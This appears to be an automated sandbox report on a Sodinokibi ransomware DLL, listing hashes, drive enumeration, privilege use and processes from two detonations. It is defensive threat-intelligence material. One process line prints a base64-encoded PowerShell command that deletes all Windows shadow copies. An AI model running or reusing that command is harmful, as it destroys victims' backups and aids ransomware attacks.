Malware Analysis Report

2025-01-18 19:21

Sample ID 220130-jr5xyshaeq
Target 2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c
SHA256 2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c
Tags
$2a$10$/qwphtgpomdnhqdwnejiyo3yussz6dvf7.vywfrm2jow6c1clhn/y 3428 sodinokibi
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c

Threat Level: Known bad

The file 2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c was found to be: Known bad.

Malicious Activity Summary

$2a$10$/qwphtgpomdnhqdwnejiyo3yussz6dvf7.vywfrm2jow6c1clhn/y 3428 sodinokibi

Sodinokibi family

Enumerates connected drives

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-30 07:55

Signatures

Sodinokibi family

sodinokibi

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-30 07:55

Reported

2022-01-30 13:08

Platform

win7-en-20211208

Max time kernel

123s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1

Signatures

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\G: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\H: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\I: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\M: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\T: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\U: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\F: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\J: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\N: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\P: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\V: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\W: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\B: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\E: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\K: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\L: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\Y: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\A: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\O: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\Q: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\R: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\S: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\X: C:\Windows\SysWOW64\rundll32.exe N/A
File opened (read-only) \??\Z: C:\Windows\SysWOW64\rundll32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\rundll32.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

N/A

Files

memory/324-54-0x0000000075431000-0x0000000075433000-memory.dmp

memory/776-55-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

memory/776-57-0x00000000024B0000-0x00000000024B2000-memory.dmp

memory/776-58-0x00000000024B2000-0x00000000024B4000-memory.dmp

memory/776-59-0x00000000024B4000-0x00000000024B7000-memory.dmp

memory/776-56-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp

memory/776-60-0x000000001B840000-0x000000001BB3F000-memory.dmp

memory/776-61-0x00000000024BB000-0x00000000024DA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-30 07:55

Reported

2022-01-30 13:08

Platform

win10-en-20211208

Max time kernel

116s

Max time network

128s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2640 wrote to memory of 2680 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2640 wrote to memory of 2680 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2640 wrote to memory of 2680 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1

Network

Files

N/A